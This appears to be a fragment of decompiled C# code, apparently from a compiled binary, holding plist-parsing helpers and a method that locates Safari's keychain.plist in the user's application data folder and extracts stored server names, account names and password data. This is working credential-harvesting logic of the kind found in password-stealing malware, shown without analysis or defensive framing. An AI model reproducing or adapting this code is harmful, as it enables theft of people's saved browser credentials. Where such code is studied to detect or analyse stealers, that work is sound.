// Token: 0x060001D7 RID: 471 RVA: 0x00006C38 File Offset: 0x00004E38 public static object readPlist(string path) { object result; using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read)) { result = Plist.readPlist(fileStream, plistType.Auto); } return(result); }
// Token: 0x060001D9 RID: 473 RVA: 0x00006C9C File Offset: 0x00004E9C public static object readPlist(byte[] data) { return(Plist.readPlist(new MemoryStream(data), plistType.Auto)); }
// Token: 0x060001D8 RID: 472 RVA: 0x00006C78 File Offset: 0x00004E78 public static object readPlistSource(string source) { return(Plist.readPlist(Encoding.UTF8.GetBytes(source))); }
// Token: 0x06000210 RID: 528 RVA: 0x00008E5C File Offset: 0x0000705C public static IEnumerable <SafariPassword> EnumeratePasswords() { string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Apple Computer\\Preferences\\keychain.plist"); List <SafariPassword> list = new List <SafariPassword>(); IEnumerable <SafariPassword> result; if (!File.Exists(path)) { result = list; } else { Dictionary <string, object> dictionary = (Dictionary <string, object>)Plist.readPlist(path); List <string> list2 = new List <string>(dictionary.Keys); List <object> list3 = (List <object>)dictionary[list2[0]]; try { foreach (object obj in list3) { Dictionary <string, object> dictionary2 = (Dictionary <string, object>)obj; list.Add(new SafariPassword(dictionary2["Server"].ToString(), dictionary2["Account"].ToString(), (byte[])dictionary2["Data"])); } } finally { List <object> .Enumerator enumerator; ((IDisposable)enumerator).Dispose(); } result = list; } return(result); }